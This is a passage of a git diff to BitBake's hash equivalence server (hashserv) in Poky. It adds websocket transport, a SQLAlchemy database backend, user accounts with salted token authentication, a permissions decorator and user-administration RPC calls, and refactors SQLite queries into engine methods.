- unique=", ".join(name for name, _, flags in definition if "UNIQUE" in flags)
- ))
-
-
-def setup_database(database, sync=True):
- db = sqlite3.connect(database)
- db.row_factory = sqlite3.Row
-
- with closing(db.cursor()) as cursor:
- _make_table(cursor, "unihashes_v2", UNIHASH_TABLE_DEFINITION)
- _make_table(cursor, "outhashes_v2", OUTHASH_TABLE_DEFINITION)
-
- cursor.execute('PRAGMA journal_mode = WAL')
- cursor.execute('PRAGMA synchronous = %s' % ('NORMAL' if sync else 'OFF'))
-
- # Drop old indexes
- cursor.execute('DROP INDEX IF EXISTS taskhash_lookup')
- cursor.execute('DROP INDEX IF EXISTS outhash_lookup')
- cursor.execute('DROP INDEX IF EXISTS taskhash_lookup_v2')
- cursor.execute('DROP INDEX IF EXISTS outhash_lookup_v2')
-
- # TODO: Upgrade from tasks_v2?
- cursor.execute('DROP TABLE IF EXISTS tasks_v2')
-
- # Create new indexes
- cursor.execute('CREATE INDEX IF NOT EXISTS taskhash_lookup_v3 ON unihashes_v2 (method, taskhash)')
- cursor.execute('CREATE INDEX IF NOT EXISTS outhash_lookup_v3 ON outhashes_v2 (method, outhash)')
-
- return db
+User = namedtuple("User", ("username", "permissions"))
def parse_address(addr):
if addr.startswith(UNIX_PREFIX):
- return (ADDR_TYPE_UNIX, (addr[len(UNIX_PREFIX):],))
+ return (ADDR_TYPE_UNIX, (addr[len(UNIX_PREFIX) :],))
+ elif addr.startswith(WS_PREFIX) or addr.startswith(WSS_PREFIX):
+ return (ADDR_TYPE_WS, (addr,))
else:
- m = re.match(r'\[(?P<host>[^\]]*)\]:(?P<port>\d+)$', addr)
+ m = re.match(r"\[(?P<host>[^\]]*)\]:(?P<port>\d+)$", addr)
if m is not None:
- host = m.group('host')
- port = m.group('port')
+ host = m.group("host")
+ port = m.group("port")
else:
- host, port = addr.split(':')
+ host, port = addr.split(":")
return (ADDR_TYPE_TCP, (host, int(port)))
-def chunkify(msg, max_chunk):
- if len(msg) < max_chunk - 1:
- yield ''.join((msg, "\n"))
- else:
- yield ''.join((json.dumps({
- 'chunk-stream': None
- }), "\n"))
+def create_server(
+ addr,
+ dbname,
+ *,
+ sync=True,
+ upstream=None,
+ read_only=False,
+ db_username=None,
+ db_password=None,
+ anon_perms=None,
+ admin_username=None,
+ admin_password=None,
+):
+ def sqlite_engine():
+ from .sqlite import DatabaseEngine
+
+ return DatabaseEngine(dbname, sync)
- args = [iter(msg)] * (max_chunk - 1)
- for m in map(''.join, itertools.zip_longest(*args, fillvalue='')):
- yield ''.join(itertools.chain(m, "\n"))
- yield "\n"
+ def sqlalchemy_engine():
+ from .sqlalchemy import DatabaseEngine
+ return DatabaseEngine(dbname, db_username, db_password)
-def create_server(addr, dbname, *, sync=True, upstream=None, read_only=False):
from . import server
- db = setup_database(dbname, sync=sync)
- s = server.Server(db, upstream=upstream, read_only=read_only)
+
+ if "://" in dbname:
+ db_engine = sqlalchemy_engine()
+ else:
+ db_engine = sqlite_engine()
+
+ if anon_perms is None:
+ anon_perms = server.DEFAULT_ANON_PERMS
+
+ s = server.Server(
+ db_engine,
+ upstream=upstream,
+ read_only=read_only,
+ anon_perms=anon_perms,
+ admin_username=admin_username,
+ admin_password=admin_password,
+ )
(typ, a) = parse_address(addr)
if typ == ADDR_TYPE_UNIX:
s.start_unix_server(*a)
+ elif typ == ADDR_TYPE_WS:
+ url = urlparse(a[0])
+ s.start_websocket_server(url.hostname, url.port)
else:
s.start_tcp_server(*a)
return s
-def create_client(addr):
+def create_client(addr, username=None, password=None):
from . import client
- c = client.Client()
- (typ, a) = parse_address(addr)
- if typ == ADDR_TYPE_UNIX:
- c.connect_unix(*a)
- else:
- c.connect_tcp(*a)
+ c = client.Client(username, password)
+
+ try:
+ (typ, a) = parse_address(addr)
+ if typ == ADDR_TYPE_UNIX:
+ c.connect_unix(*a)
+ elif typ == ADDR_TYPE_WS:
+ c.connect_websocket(*a)
+ else:
+ c.connect_tcp(*a)
+ return c
+ except Exception as e:
+ c.close()
+ raise e
- return c
-async def create_async_client(addr):
+async def create_async_client(addr, username=None, password=None):
from . import client
- c = client.AsyncClient()
- (typ, a) = parse_address(addr)
- if typ == ADDR_TYPE_UNIX:
- await c.connect_unix(*a)
- else:
- await c.connect_tcp(*a)
+ c = client.AsyncClient(username, password)
+
+ try:
+ (typ, a) = parse_address(addr)
+ if typ == ADDR_TYPE_UNIX:
+ await c.connect_unix(*a)
+ elif typ == ADDR_TYPE_WS:
+ await c.connect_websocket(*a)
+ else:
+ await c.connect_tcp(*a)
- return c
+ return c
+ except Exception as e:
+ await c.close()
+ raise e
diff --git a/poky/bitbake/lib/hashserv/client.py b/poky/bitbake/lib/hashserv/client.py
index f676d267fa..35a97687fb 100644
--- a/poky/bitbake/lib/hashserv/client.py
+++ b/poky/bitbake/lib/hashserv/client.py
@@ -6,6 +6,7 @@
import logging
import socket
import bb.asyncrpc
+import json
from . import create_async_client
@@ -16,36 +17,47 @@ class AsyncClient(bb.asyncrpc.AsyncClient):
MODE_NORMAL = 0
MODE_GET_STREAM = 1
- def __init__(self):
- super().__init__('OEHASHEQUIV', '1.1', logger)
+ def __init__(self, username=None, password=None):
+ super().__init__("OEHASHEQUIV", "1.1", logger)
self.mode = self.MODE_NORMAL
+ self.username = username
+ self.password = password
+ self.saved_become_user = None
async def setup_connection(self):
await super().setup_connection()
cur_mode = self.mode
self.mode = self.MODE_NORMAL
await self._set_mode(cur_mode)
+ if self.username:
+ # Save off become user temporarily because auth() resets it
+ become = self.saved_become_user
+ await self.auth(self.username, self.password)
+
+ if become:
+ await self.become_user(become)
async def send_stream(self, msg):
async def proc():
- self.writer.write(("%s\n" % msg).encode("utf-8"))
- await self.writer.drain()
- l = await self.reader.readline()
- if not l:
- raise ConnectionError("Connection closed")
- return l.decode("utf-8").rstrip()
+ await self.socket.send(msg)
+ return await self.socket.recv()
return await self._send_wrapper(proc)
async def _set_mode(self, new_mode):
+ async def stream_to_normal():
+ await self.socket.send("END")
+ return await self.socket.recv()
+
if new_mode == self.MODE_NORMAL and self.mode == self.MODE_GET_STREAM:
- r = await self.send_stream("END")
+ r = await self._send_wrapper(stream_to_normal)
if r != "ok":
- raise ConnectionError("Bad response from server %r" % r)
+ self.check_invoke_error(r)
+ raise ConnectionError("Unable to transition to normal mode: Bad response from server %r" % r)
elif new_mode == self.MODE_GET_STREAM and self.mode == self.MODE_NORMAL:
- r = await self.send_message({"get-stream": None})
+ r = await self.invoke({"get-stream": None})
if r != "ok":
- raise ConnectionError("Bad response from server %r" % r)
+ raise ConnectionError("Unable to transition to stream mode: Bad response from server %r" % r)
elif new_mode != self.mode:
raise Exception(
"Undefined mode transition %r -> %r" % (self.mode, new_mode)
@@ -67,7 +79,7 @@ class AsyncClient(bb.asyncrpc.AsyncClient):
m["method"] = method
m["outhash"] = outhash
m["unihash"] = unihash
- return await self.send_message({"report": m})
+ return await self.invoke({"report": m})
async def report_unihash_equiv(self, taskhash, method, unihash, extra={}):
await self._set_mode(self.MODE_NORMAL)
@@ -75,46 +87,123 @@ class AsyncClient(bb.asyncrpc.AsyncClient):
m["taskhash"] = taskhash
m["method"] = method
m["unihash"] = unihash
- return await self.send_message({"report-equiv": m})
+ return await self.invoke({"report-equiv": m})
async def get_taskhash(self, method, taskhash, all_properties=False):
await self._set_mode(self.MODE_NORMAL)
- return await self.send_message(
+ return await self.invoke(
{"get": {"taskhash": taskhash, "method": method, "all": all_properties}}
)
async def get_outhash(self, method, outhash, taskhash, with_unihash=True):
await self._set_mode(self.MODE_NORMAL)
- return await self.send_message(
- {"get-outhash": {"outhash": outhash, "taskhash": taskhash, "method": method, "with_unihash": with_unihash}}
+ return await self.invoke(
+ {
+ "get-outhash": {
+ "outhash": outhash,
+ "taskhash": taskhash,
+ "method": method,
+ "with_unihash": with_unihash,
+ }
+ }
)
async def get_stats(self):
await self._set_mode(self.MODE_NORMAL)
- return await self.send_message({"get-stats": None})
+ return await self.invoke({"get-stats": None})
async def reset_stats(self):
await self._set_mode(self.MODE_NORMAL)
- return await self.send_message({"reset-stats": None})
+ return await self.invoke({"reset-stats": None})
async def backfill_wait(self):
await self._set_mode(self.MODE_NORMAL)
- return (await self.send_message({"backfill-wait": None}))["tasks"]
+ return (await self.invoke({"backfill-wait": None}))["tasks"]
async def remove(self, where):
await self._set_mode(self.MODE_NORMAL)
- return await self.send_message({"remove": {"where": where}})
+ return await self.invoke({"remove": {"where": where}})
async def clean_unused(self, max_age):
await self._set_mode(self.MODE_NORMAL)
- return await self.send_message({"clean-unused": {"max_age_seconds": max_age}})
+ return await self.invoke({"clean-unused": {"max_age_seconds": max_age}})
+
+ async def auth(self, username, token):
+ await self._set_mode(self.MODE_NORMAL)
+ result = await self.invoke({"auth": {"username": username, "token": token}})
+ self.username = username
+ self.password = token
+ self.saved_become_user = None
+ return result
+
+ async def refresh_token(self, username=None):
+ await self._set_mode(self.MODE_NORMAL)
+ m = {}
+ if username:
+ m["username"] = username
+ result = await self.invoke({"refresh-token": m})
+ if (
+ self.username
+ and not self.saved_become_user
+ and result["username"] == self.username
+ ):
+ self.password = result["token"]
+ return result
+
+ async def set_user_perms(self, username, permissions):
+ await self._set_mode(self.MODE_NORMAL)
+ return await self.invoke(
+ {"set-user-perms": {"username": username, "permissions": permissions}}
+ )
+
+ async def get_user(self, username=None):
+ await self._set_mode(self.MODE_NORMAL)
+ m = {}
+ if username:
+ m["username"] = username
+ return await self.invoke({"get-user": m})
+
+ async def get_all_users(self):
+ await self._set_mode(self.MODE_NORMAL)
+ return (await self.invoke({"get-all-users": {}}))["users"]
+
+ async def new_user(self, username, permissions):
+ await self._set_mode(self.MODE_NORMAL)
+ return await self.invoke(
+ {"new-user": {"username": username, "permissions": permissions}}
+ )
+
+ async def delete_user(self, username):
+ await self._set_mode(self.MODE_NORMAL)
+ return await self.invoke({"delete-user": {"username": username}})
+
+ async def become_user(self, username):
+ await self._set_mode(self.MODE_NORMAL)
+ result = await self.invoke({"become-user": {"username": username}})
+ if username == self.username:
+ self.saved_become_user = None
+ else:
+ self.saved_become_user = username
+ return result
+
+ async def get_db_usage(self):
+ await self._set_mode(self.MODE_NORMAL)
+ return (await self.invoke({"get-db-usage": {}}))["usage"]
+
+ async def get_db_query_columns(self):
+ await self._set_mode(self.MODE_NORMAL)
+ return (await self.invoke({"get-db-query-columns": {}}))["columns"]
class Client(bb.asyncrpc.Client):
- def __init__(self):
+ def __init__(self, username=None, password=None):
+ self.username = username
+ self.password = password
+
super().__init__()
self._add_methods(
"connect_tcp",
+ "connect_websocket",
"get_unihash",
"report_unihash",
"report_unihash_equiv",
@@ -125,7 +214,17 @@ class Client(bb.asyncrpc.Client):
"backfill_wait",
"remove",
"clean_unused",
+ "auth",
+ "refresh_token",
+ "set_user_perms",
+ "get_user",
+ "get_all_users",
+ "new_user",
+ "delete_user",
+ "become_user",
+ "get_db_usage",
+ "get_db_query_columns",
)
def _get_async_client(self):
- return AsyncClient()
+ return AsyncClient(self.username, self.password)
diff --git a/poky/bitbake/lib/hashserv/server.py b/poky/bitbake/lib/hashserv/server.py
index 45bf476bfe..a86507830e 100644
--- a/poky/bitbake/lib/hashserv/server.py
+++ b/poky/bitbake/lib/hashserv/server.py
@@ -3,18 +3,51 @@
# SPDX-License-Identifier: GPL-2.0-only
#
-from contextlib import closing, contextmanager
from datetime import datetime, timedelta
-import enum
import asyncio
import logging
import math
import time
-from . import create_async_client, UNIHASH_TABLE_COLUMNS, OUTHASH_TABLE_COLUMNS
+import os
+import base64
+import hashlib
+from . import create_async_client
import bb.asyncrpc
+logger = logging.getLogger("hashserv.server")
-logger = logging.getLogger('hashserv.server')
+
+# This permission only exists to match nothing
+NONE_PERM = "@none"
+
+READ_PERM = "@read"
+REPORT_PERM = "@report"
+DB_ADMIN_PERM = "@db-admin"
+USER_ADMIN_PERM = "@user-admin"
+ALL_PERM = "@all"
+
+ALL_PERMISSIONS = {
+ READ_PERM,
+ REPORT_PERM,
+ DB_ADMIN_PERM,
+ USER_ADMIN_PERM,
+ ALL_PERM,
+}
+
+DEFAULT_ANON_PERMS = (
+ READ_PERM,
+ REPORT_PERM,
+ DB_ADMIN_PERM,
+)
+
+TOKEN_ALGORITHM = "sha256"
+
+# 48 bytes of random data will result in 64 characters when base64
+# encoded. This number also ensures that the base64 encoding won't have any
+# trailing '=' characters.
+TOKEN_SIZE = 48
+
+SALT_SIZE = 8
class Measurement(object):
@@ -104,244 +137,267 @@ class Stats(object):
return math.sqrt(self.s / (self.num - 1))
def todict(self):
- return {k: getattr(self, k) for k in ('num', 'total_time', 'max_time', 'average', 'stdev')}
-
-
-@enum.unique
-class Resolve(enum.Enum):
- FAIL = enum.auto()
- IGNORE = enum.auto()
- REPLACE = enum.auto()
-
-
-def insert_table(cursor, table, data, on_conflict):
- resolve = {
- Resolve.FAIL: "",
- Resolve.IGNORE: " OR IGNORE",
- Resolve.REPLACE: " OR REPLACE",
- }[on_conflict]
-
- keys = sorted(data.keys())
- query = 'INSERT{resolve} INTO {table} ({fields}) VALUES({values})'.format(
- resolve=resolve,
- table=table,
- fields=", ".join(keys),
- values=", ".join(":" + k for k in keys),
- )
- prevrowid = cursor.lastrowid
- cursor.execute(query, data)
- logging.debug(
- "Inserting %r into %s, %s",
- data,
- table,
- on_conflict
- )
- return (cursor.lastrowid, cursor.lastrowid != prevrowid)
-
-def insert_unihash(cursor, data, on_conflict):
- return insert_table(cursor, "unihashes_v2", data, on_conflict)
-
-def insert_outhash(cursor, data, on_conflict):
- return insert_table(cursor, "outhashes_v2", data, on_conflict)
-
-async def copy_unihash_from_upstream(client, db, method, taskhash):
- d = await client.get_taskhash(method, taskhash)
- if d is not None:
- with closing(db.cursor()) as cursor:
- insert_unihash(
- cursor,
- {k: v for k, v in d.items() if k in UNIHASH_TABLE_COLUMNS},
- Resolve.IGNORE,
- )
- db.commit()
- return d
+ return {
+ k: getattr(self, k)
+ for k in ("num", "total_time", "max_time", "average", "stdev")
+ }
-class ServerCursor(object):
- def __init__(self, db, cursor, upstream):
- self.db = db
- self.cursor = cursor
- self.upstream = upstream
+token_refresh_semaphore = asyncio.Lock()
+
+
+async def new_token():
+ # Prevent malicious users from using this API to deduce the entropy
+ # pool on the server and thus be able to guess a token. *All* token
+ # refresh requests lock the same global semaphore and then sleep for a
+ # short time. The effectively rate limits the total number of requests
+ # than can be made across all clients to 10/second, which should be enough
+ # since you have to be an authenticated users to make the request in the
+ # first place
+ async with token_refresh_semaphore:
+ await asyncio.sleep(0.1)
+ raw = os.getrandom(TOKEN_SIZE, os.GRND_NONBLOCK)
+
+ return base64.b64encode(raw, b"._").decode("utf-8")
+
+
+def new_salt():
+ return os.getrandom(SALT_SIZE, os.GRND_NONBLOCK).hex()
+
+
+def hash_token(algo, salt, token):
+ h = hashlib.new(algo)
+ h.update(salt.encode("utf-8"))
+ h.update(token.encode("utf-8"))
+ return ":".join([algo, salt, h.hexdigest()])
+
+
+def permissions(*permissions, allow_anon=True, allow_self_service=False):
+ """
+ Function decorator that can be used to decorate an RPC function call and
+ check that the current users permissions match the require permissions.
+
+ If allow_anon is True, the user will also be allowed to make the RPC call
+ if the anonymous user permissions match the permissions.
+
+ If allow_self_service is True, and the "username" property in the request
+ is the currently logged in user, or not specified, the user will also be
+ allowed to make the request. This allows users to access normal privileged
+ API, as long as they are only modifying their own user properties (e.g.
+ users can be allowed to reset their own token without @user-admin
+ permissions, but not the token for any other user.
+ """
+
+ def wrapper(func):
+ async def wrap(self, request):
+ if allow_self_service and self.user is not None:
+ username = request.get("username", self.user.username)
+ if username == self.user.username:
+ request["username"] = self.user.username
+ return await func(self, request)
+
+ if not self.user_has_permissions(*permissions, allow_anon=allow_anon):
+ if not self.user:
+ username = "Anonymous user"
+ user_perms = self.anon_perms
+ else:
+ username = self.user.username
+ user_perms = self.user.permissions
+
+ self.logger.info(
+ "User %s with permissions %r denied from calling %s. Missing permissions(s) %r",
+ username,
+ ", ".join(user_perms),
+ func.__name__,
+ ", ".join(permissions),
+ )
+ raise bb.asyncrpc.InvokeError(
+ f"{username} is not allowed to access permissions(s) {', '.join(permissions)}"
+ )
+
+ return await func(self, request)
+
+ return wrap
+
+ return wrapper
class ServerClient(bb.asyncrpc.AsyncServerConnection):
- def __init__(self, reader, writer, db, request_stats, backfill_queue, upstream, read_only):
- super().__init__(reader, writer, 'OEHASHEQUIV', logger)
- self.db = db
+ def __init__(
+ self,
+ socket,
+ db_engine,
+ request_stats,
+ backfill_queue,
+ upstream,
+ read_only,
+ anon_perms,
+ ):
+ super().__init__(socket, "OEHASHEQUIV", logger)
+ self.db_engine = db_engine
self.request_stats = request_stats
self.max_chunk = bb.asyncrpc.DEFAULT_MAX_CHUNK
self.backfill_queue = backfill_queue
self.upstream = upstream
+ self.read_only = read_only
+ self.user = None
+ self.anon_perms = anon_perms
- self.handlers.update({
- 'get': self.handle_get,
- 'get-outhash': self.handle_get_outhash,
- 'get-stream': self.handle_get_stream,
- 'get-stats': self.handle_get_stats,
- })
+ self.handlers.update(
+ {
+ "get": self.handle_get,
+ "get-outhash": self.handle_get_outhash,
+ "get-stream": self.handle_get_stream,
+ "get-stats": self.handle_get_stats,
+ "get-db-usage": self.handle_get_db_usage,
+ "get-db-query-columns": self.handle_get_db_query_columns,
+ # Not always read-only, but internally checks if the server is
+ # read-only
+ "report": self.handle_report,
+ "auth": self.handle_auth,
+ "get-user": self.handle_get_user,
+ "get-all-users": self.handle_get_all_users,
+ "become-user": self.handle_become_user,
+ }
+ )
if not read_only:
- self.handlers.update({
- 'report': self.handle_report,
- 'report-equiv': self.handle_equivreport,
- 'reset-stats': self.handle_reset_stats,
- 'backfill-wait': self.handle_backfill_wait,
- 'remove': self.handle_remove,
- 'clean-unused': self.handle_clean_unused,
- })
+ self.handlers.update(
+ {
+ "report-equiv": self.handle_equivreport,
+ "reset-stats": self.handle_reset_stats,
+ "backfill-wait": self.handle_backfill_wait,
+ "remove": self.handle_remove,
+ "clean-unused": self.handle_clean_unused,
+ "refresh-token": self.handle_refresh_token,
+ "set-user-perms": self.handle_set_perms,
+ "new-user": self.handle_new_user,
+ "delete-user": self.handle_delete_user,
+ }
+ )
+
+ def raise_no_user_error(self, username):
+ raise bb.asyncrpc.InvokeError(f"No user named '{username}' exists")
+
+ def user_has_permissions(self, *permissions, allow_anon=True):
+ permissions = set(permissions)
+ if allow_anon:
+ if ALL_PERM in self.anon_perms:
+ return True
+
+ if not permissions - self.anon_perms:
+ return True
+
+ if self.user is None:
+ return False
+
+ if ALL_PERM in self.user.permissions:
+ return True
+
+ if not permissions - self.user.permissions:
+ return True
+
+ return False
def validate_proto_version(self):
- return (self.proto_version > (1, 0) and self.proto_version <= (1, 1))
+ return self.proto_version > (1, 0) and self.proto_version <= (1, 1)
async def process_requests(self):
- if self.upstream is not None:
- self.upstream_client = await create_async_client(self.upstream)
- else:
- self.upstream_client = None
-
- await super().process_requests()
+ async with self.db_engine.connect(self.logger) as db:
+ self.db = db
+ if self.upstream is not None:
+ self.upstream_client = await create_async_client(self.upstream)
+ else:
+ self.upstream_client = None
- if self.upstream_client is not None:
- await self.upstream_client.close()
+ try:
+ await super().process_requests()
+ finally:
+ if self.upstream_client is not None:
+ await self.upstream_client.close()
async def dispatch_message(self, msg):
for k in self.handlers.keys():
if k in msg:
- logger.debug('Handling %s' % k)
- if 'stream' in k:
- await self.handlers[k](msg[k])
+ self.logger.debug("Handling %s" % k)
+ if "stream" in k:
+ return await self.handlers[k](msg[k])
else:
- with self.request_stats.start_sample() as self.request_sample, \
- self.request_sample.measure():
- await self.handlers[k](msg[k])
- return
+ with self.request_stats.start_sample() as self.request_sample, self.request_sample.measure():
+ return await self.handlers[k](msg[k])
raise bb.asyncrpc.ClientError("Unrecognized command %r" % msg)
+ @permissions(READ_PERM)
async def handle_get(self, request):
- method = request['method']
- taskhash = request['taskhash']
- fetch_all = request.get('all', False)
-
- with closing(self.db.cursor()) as cursor:
- d = await self.get_unihash(cursor, method, taskhash, fetch_all)
+ method = request["method"]
+ taskhash = request["taskhash"]
+ fetch_all = request.get("all", False)
- self.write_message(d)
+ return await self.get_unihash(method, taskhash, fetch_all)
- async def get_unihash(self, cursor, method, taskhash, fetch_all=False):
+ async def get_unihash(self, method, taskhash, fetch_all=False):
d = None
if fetch_all:
- cursor.execute(
- '''
- SELECT *, unihashes_v2.unihash AS unihash FROM outhashes_v2
- INNER JOIN unihashes_v2 ON unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash
- WHERE outhashes_v2.method=:method AND outhashes_v2.taskhash=:taskhash
- ORDER BY outhashes_v2.created ASC
- LIMIT 1
- ''',
- {
- 'method': method,
- 'taskhash': taskhash,
- }
-
- )
- row = cursor.fetchone()
-
+ row = await self.db.get_unihash_by_taskhash_full(method, taskhash)
if row is not None:
d = {k: row[k] for k in row.keys()}
elif self.upstream_client is not None:
d = await self.upstream_client.get_taskhash(method, taskhash, True)
- self.update_unified(cursor, d)
- self.db.commit()
+ await self.update_unified(d)
else:
- row = self.query_equivalent(cursor, method, taskhash)
+ row = await self.db.get_equivalent(method, taskhash)
if row is not None:
d = {k: row[k] for k in row.keys()}
elif self.upstream_client is not None:
d = await self.upstream_client.get_taskhash(method, taskhash)
- d = {k: v for k, v in d.items() if k in UNIHASH_TABLE_COLUMNS}
- insert_unihash(cursor, d, Resolve.IGNORE)
- self.db.commit()
+ await self.db.insert_unihash(d["method"], d["taskhash"], d["unihash"])
return d
+ @permissions(READ_PERM)
async def handle_get_outhash(self, request):
- method = request['method']
- outhash = request['outhash']
- taskhash = request['taskhash']
+ method = request["method"]
+ outhash = request["outhash"]
+ taskhash = request["taskhash"]
with_unihash = request.get("with_unihash", True)
- with closing(self.db.cursor()) as cursor:
- d = await self.get_outhash(cursor, method, outhash, taskhash, with_unihash)
+ return await self.get_outhash(method, outhash, taskhash, with_unihash)
- self.write_message(d)
-
- async def get_outhash(self, cursor, method, outhash, taskhash, with_unihash=True):
+ async def get_outhash(self, method, outhash, taskhash, with_unihash=True):
d = None
if with_unihash:
- cursor.execute(
- '''
- SELECT *, unihashes_v2.unihash AS unihash FROM outhashes_v2
- INNER JOIN unihashes_v2 ON unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash
- WHERE outhashes_v2.method=:method AND outhashes_v2.outhash=:outhash
- ORDER BY outhashes_v2.created ASC
- LIMIT 1
- ''',
- {
- 'method': method,
- 'outhash': outhash,
- }
- )
+ row = await self.db.get_unihash_by_outhash(method, outhash)
else:
- cursor.execute(
- """
- SELECT * FROM outhashes_v2
- WHERE outhashes_v2.method=:method AND outhashes_v2.outhash=:outhash
- ORDER BY outhashes_v2.created ASC
- LIMIT 1
- """,
- {
- 'method': method,
- 'outhash': outhash,
- }
- )
- row = cursor.fetchone()
+ row = await self.db.get_outhash(method, outhash)
if row is not None:
d = {k: row[k] for k in row.keys()}
elif self.upstream_client is not None:
d = await self.upstream_client.get_outhash(method, outhash, taskhash)
- self.update_unified(cursor, d)
- self.db.commit()
+ await self.update_unified(d)
return d
- def update_unified(self, cursor, data):
+ async def update_unified(self, data):
if data is None:
return
- insert_unihash(
- cursor,
- {k: v for k, v in data.items() if k in UNIHASH_TABLE_COLUMNS},
- Resolve.IGNORE
- )
- insert_outhash(
- cursor,
- {k: v for k, v in data.items() if k in OUTHASH_TABLE_COLUMNS},
- Resolve.IGNORE
- )
+ await self.db.insert_unihash(data["method"], data["taskhash"], data["unihash"])
+ await self.db.insert_outhash(data)
+ @permissions(READ_PERM)
async def handle_get_stream(self, request):
- self.write_message('ok')
+ await self.socket.send_message("ok")
while True:
upstream = None
- l = await self.reader.readline()
+ l = await self.socket.recv()
if not l:
- return
+ break
try:
# This inner loop is very sensitive and must be as fast as
@@ -352,272 +408,438 @@ class ServerClient(bb.asyncrpc.AsyncServerConnection):
request_measure = self.request_sample.measure()
request_measure.start()
- l = l.decode('utf-8').rstrip()
- if l == 'END':
- self.writer.write('ok\n'.encode('utf-8'))
- return
+ if l == "END":
+ break
(method, taskhash) = l.split()
- #logger.debug('Looking up %s %s' % (method, taskhash))
- cursor = self.db.cursor()
- try:
- row = self.query_equivalent(cursor, method, taskhash)
- finally:
- cursor.close()
+ # self.logger.debug('Looking up %s %s' % (method, taskhash))
+ row = await self.db.get_equivalent(method, taskhash)
if row is not None:
- msg = ('%s\n' % row['unihash']).encode('utf-8')
- #logger.debug('Found equivalent task %s -> %s', (row['taskhash'], row['unihash']))
+ msg = row["unihash"]
+ # self.logger.debug('Found equivalent task %s -> %s', (row['taskhash'], row['unihash']))
elif self.upstream_client is not None:
upstream = await self.upstream_client.get_unihash(method, taskhash)
if upstream:
- msg = ("%s\n" % upstream).encode("utf-8")
+ msg = upstream
else:
- msg = "\n".encode("utf-8")
+ msg = ""
else:
- msg = '\n'.encode('utf-8')
+ msg = ""
- self.writer.write(msg)
+ await self.socket.send(msg)
finally:
request_measure.end()
self.request_sample.end()
- await self.writer.drain()
-
# Post to the backfill queue after writing the result to minimize
# the turn around time on a request
if upstream is not None:
await self.backfill_queue.put((method, taskhash))
- async def handle_report(self, data):
- with closing(self.db.cursor()) as cursor:
- outhash_data = {
- 'method': data['method'],
- 'outhash': data['outhash'],
- 'taskhash': data['taskhash'],
- 'created': datetime.now()
- }
-
- for k in ('owner', 'PN', 'PV', 'PR', 'task', 'outhash_siginfo'):
- if k in data:
- outhash_data[k] = data[k]
-
- # Insert the new entry, unless it already exists
- (rowid, inserted) = insert_outhash(cursor, outhash_data, Resolve.IGNORE)
-
- if inserted:
- # If this row is new, check if it is equivalent to another
- # output hash
- cursor.execute(
- '''
- SELECT outhashes_v2.taskhash AS taskhash, unihashes_v2.unihash AS unihash FROM outhashes_v2
- INNER JOIN unihashes_v2 ON unihashes_v2.method=outhashes_v2.method AND unihashes_v2.taskhash=outhashes_v2.taskhash
- -- Select any matching output hash except the one we just inserted
- WHERE outhashes_v2.method=:method AND outhashes_v2.outhash=:outhash AND outhashes_v2.taskhash!=:taskhash
- -- Pick the oldest hash
- ORDER BY outhashes_v2.created ASC
- LIMIT 1
- ''',
- {
- 'method': data['method'],
- 'outhash': data['outhash'],
- 'taskhash': data['taskhash'],
- }
- )
- row = cursor.fetchone()
+ await self.socket.send("ok")
+ return self.NO_RESPONSE
- if row is not None:
- # A matching output hash was found. Set our taskhash to the
- # same unihash since they are equivalent
- unihash = row['unihash']
- resolve = Resolve.IGNORE
- else:
- # No matching output hash was found. This is probably the
- # first outhash to be added.
- unihash = data['unihash']
- resolve = Resolve.IGNORE
-
- # Query upstream to see if it has a unihash we can use
- if self.upstream_client is not None:
- upstream_data = await self.upstream_client.get_outhash(data['method'], data['outhash'], data['taskhash'])
- if upstream_data is not None:
- unihash = upstream_data['unihash']
-
-
- insert_unihash(
- cursor,
- {
- 'method': data['method'],
- 'taskhash': data['taskhash'],
- 'unihash': unihash,
- },
- resolve
- )
+ async def report_readonly(self, data):
+ method = data["method"]
+ outhash = data["outhash"]
+ taskhash = data["taskhash"]
- unihash_data = await self.get_unihash(cursor, data['method'], data['taskhash'])
- if unihash_data is not None:
- unihash = unihash_data['unihash']
- else:
- unihash = data['unihash']
+ info = await self.get_outhash(method, outhash, taskhash)
+ if info:
+ unihash = info["unihash"]
+ else:
+ unihash = data["unihash"]
- self.db.commit()
+ return {
+ "taskhash": taskhash,
+ "method": method,
+ "unihash": unihash,
+ }
- d = {
- 'taskhash': data['taskhash'],
- 'method': data['method'],
- 'unihash': unihash,
- }
+ # Since this can be called either read only or to report, the check to
+ # report is made inside the function
+ @permissions(READ_PERM)
+ async def handle_report(self, data):
+ if self.read_only or not self.user_has_permissions(REPORT_PERM):
+ return await self.report_readonly(data)
+
+ outhash_data = {
+ "method": data["method"],
+ "outhash": data["outhash"],
+ "taskhash": data["taskhash"],
+ "created": datetime.now(),
+ }
- self.write_message(d)
+ for k in ("owner", "PN", "PV", "PR", "task", "outhash_siginfo"):
+ if k in data:
+ outhash_data[k] = data[k]
- async def handle_equivreport(self, data):
- with closing(self.db.cursor()) as cursor:
- insert_data = {
- 'method': data['method'],
- 'taskhash': data['taskhash'],
- 'unihash': data['unihash'],
- }
- insert_unihash(cursor, insert_data, Resolve.IGNORE)
- self.db.commit()
+ if self.user:
+ outhash_data["owner"] = self.user.username
- # Fetch the unihash that will be reported for the taskhash. If the
- # unihash matches, it means this row was inserted (or the mapping
- # was already valid)
- row = self.query_equivalent(cursor, data['method'], data['taskhash'])
+ # Insert the new entry, unless it already exists
+ if await self.db.insert_outhash(outhash_data):
+ # If this row is new, check if it is equivalent to another
+ # output hash
+ row = await self.db.get_equivalent_for_outhash(
+ data["method"], data["outhash"], data["taskhash"]
+ )
- if row['unihash'] == data['unihash']:
- logger.info('Adding taskhash equivalence for %s with unihash %s',
- data['taskhash'], row['unihash'])
+ if row is not None:
+ # A matching output hash was found. Set our taskhash to the
+ # same unihash since they are equivalent
+ unihash = row["unihash"]
+ else:
+ # No matching output hash was found. This is probably the
+ # first outhash to be added.
+ unihash = data["unihash"]
+
+ # Query upstream to see if it has a unihash we can use
+ if self.upstream_client is not None:
+ upstream_data = await self.upstream_client.get_outhash(
+ data["method"], data["outhash"], data["taskhash"]
+ )
+ if upstream_data is not None:
+ unihash = upstream_data["unihash"]
+
+ await self.db.insert_unihash(data["method"], data["taskhash"], unihash)
+
+ unihash_data = await self.get_unihash(data["method"], data["taskhash"])
+ if unihash_data is not None:
+ unihash = unihash_data["unihash"]
+ else:
+ unihash = data["unihash"]
- d = {k: row[k] for k in ('taskhash', 'method', 'unihash')}
+ return {
+ "taskhash": data["taskhash"],
+ "method": data["method"],
+ "unihash": unihash,
